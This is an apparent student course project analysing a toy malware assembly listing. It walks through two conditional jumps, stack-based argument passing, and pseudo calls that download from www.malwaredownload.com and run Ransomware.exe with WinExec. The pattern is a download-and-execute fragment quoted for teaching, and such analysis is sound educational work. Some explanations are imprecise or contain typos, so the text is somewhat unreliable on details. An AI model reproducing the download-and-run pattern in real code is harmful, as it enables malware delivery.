PROJECT S11/L5

Samul Sette, Stefano Cesaroni, Gabriele Arcelli, Michael Andreoli

With reference to the code on the slide on PAGE 3, answer the following questions:

1) Explain, giving reasons, which conditional jump the Malware performs.

2) Draw a flowchart (take IDA's graphical display as an example) identifying the conditional jumps (both those made and those not made). Indicate with a green line the jumps made and with a red line the jumps not made.

3) What are the different features implemented within the Malware?

4) With reference to the "call" instructions in Table 2 and 3, detail how arguments are passed to subsequent function calls . Add any technical/theoretical details.

Locazione	Istruzione	Operandi	Note
00401040	mov	EAX, 5	
00401044	mov	EBX, 10	
00401048	cmp	EAX, 5	
0040105B	jnz	loc 0040BBA0	; tabella 2
0040105F	inc	EBX	
00401064	cmp	EBX, 11	
00401068	jz	loc 0040FFA0	; tabella 3

Locazione	Istruzione	Operandi	Note
0040BBA0	mov	EAX, EDI	EDI= www.malwaredownload.com
0040BBA4	push	EAX	; URL
0040BBA8	call	DownloadToFile ()	; pseudo funzione

Tabella 3

Locazione	Istruzione	Operandi	Note
0040FFA0	mov	EDX, EDI	EDI: C:\Program and Settings \Local User\Desktop\Ransomware.exe
0040FFA4	push	EDX	; .exe da eseguire
0040FFA8	call	WinExec()	; pseudo funzione

EXPLANATION OF CONDITIONAL JUMPS

There are two conditional jumps in the examined code that determine the flow of program execution:

1) Conditional Jump jnz loc 0040BBA0 to address 0040105B:
Condition: The jump is performed if EAX is not equal to 5.
Instruction: cmp EAX, 5 compares the value of EAX with 5.
If EAX is not equal to 5, the program jumps to address 0040BBA0 (Table 2).

2) Conditional jump jz loc 0040FFA0 to address 00401068:
Condition: The jump is made if EBX equals 11.
Instruction: cmp EBX, 11 compares the value of EBX with 11.
If EBX equals 11, the program jumps to address 0040FFA0 (Table 3).

FLOW CHART

Locazione	Istruzione	Operandi	Note
00401040	mov	EAX, 5	
00401044	mov	EBX, 10	
00401048	cmp	EAX, 5	
0040105B	jnz	loc 0040BBA0	; tabella 2
0040105F	inc	EBX	
00401064	cmp	EBX, 11	
00401068	jz	loc 0040FFA0	; tabella 3

Locazione	Istruzione	Operandi	Note
0040BBA0	mov	EAX, EDI	EDI= www.malwaredownload.com
0040BBA4	push	EAX	; URL
0040BBA8	call	DownloadToFile ()	; pseudo funzione

Locazione	Istruzione	Operandi	Note
0040FFA0	mov	EDX, EDI	EDI: C:\Program and Settings \Local User\Desktop\Ransomware.exe
0040FFA4	push	EDX	; .exe da eseguire
0040FFA8	call	WinExec()	; pseudo funzione

MALWARE FUNCTIONALITY

The analyzed malware performs file download and execution operations using specific URLs and file paths. The logic of the program flow is determined by conditional jumps based on comparisons of the EAX and EBX registers.

If the value of EAX is other than 5, the program flow proceeds to the 0040BBAO label (Table 2) and will use the "DOWNLOADTOFILE()" function that will allow the malware to download a file at the URL www.malwaredownload.com.

In contrast, if the value of EAX equals 5, the program flow proceeds to label 0040105F.

If the value of EBX equals 11 the program jumps to label 0040FFA0 and will use the WinExec() function. This function is called to execute a file located in the path C:\Program and Setting\Local\User\Desktop\Ramsonware.exe.

TABLE CODE 1

- 00401040: mov EAX, 5 = This instruction loads the value 5 into the EAX register.
- 00401044: mov EBX, 10 = This instruction loads the value 10 into the EBX register.
- 00401048: cmp EAX, 5 = This instruction compares the value in the EAX register with 5. It sets the processor flags based on the result of the subtraction EAX - 5.
- 0040105B: jnz loc 0040BBA0 = This instruction jumps to address 0040BBA0 if the result of the previous cmp instruction is not equal to 5; otherwise, if it is equal, it continues with the address 0040105F.
- 0040105F: inc EBX = This instruction increments the value in the EBX register by 1. So, if EBX was 10, it will become 11.
- 00401064: cmp EBX, 11 = This instruction compares the value in the EBX register with 11. It sets the processor flags based on the result of the subtraction EBX - 11.
- 00401068: jz loc 0040FFA0 = This instruction jumps to address 0040FFA0 if the result of the previous cmp instruction is zero.

TABLE CODE 2

- 0040BBA0: mov EAX, EDI = Copy the content of the EDI register into the EAX register. This instruction loads the URL www.malwaredownload.com, which will be used for the download, into the EAX register.
- 0040BBA4: push EAX = Push the content of the EAX register onto the stack. This instruction places the URL on the stack to pass it as an argument to the function called subsequently.
- 0040BBA8: call DownloadToFile() = Call the DownloadToFile() function whose purpose is to download a file from the specified URL www.malwaredownload.com.

TABLE CODE 3

-0040FFA0: mov EDX, EDI = Copies the contents of the EDI log into the EDX log. The EDI register contains the path to the file C:\Program and Settings\LocalUser\Desktop\Ransomware.exe. This instruction loads the path to the file that will be executed in the EDX registry.

-0040FFA4: push EDX = Pushes the contents of the EDX register into the stack where EDX contains the file path. This instruction puts the file path on the stack to pass it as an argument to the function called later.

-0040FFA8: call WinExec() = Calls the WinExec() function. This instruction calls a function to execute the file specified in the path.

CONCLUSIONS

The malware in question uses 2 functions, the first one downloads a malicious file from a specified URL(table 2), while the second function executes a specific, previously downloaded file located on the local computer disk.

THANKS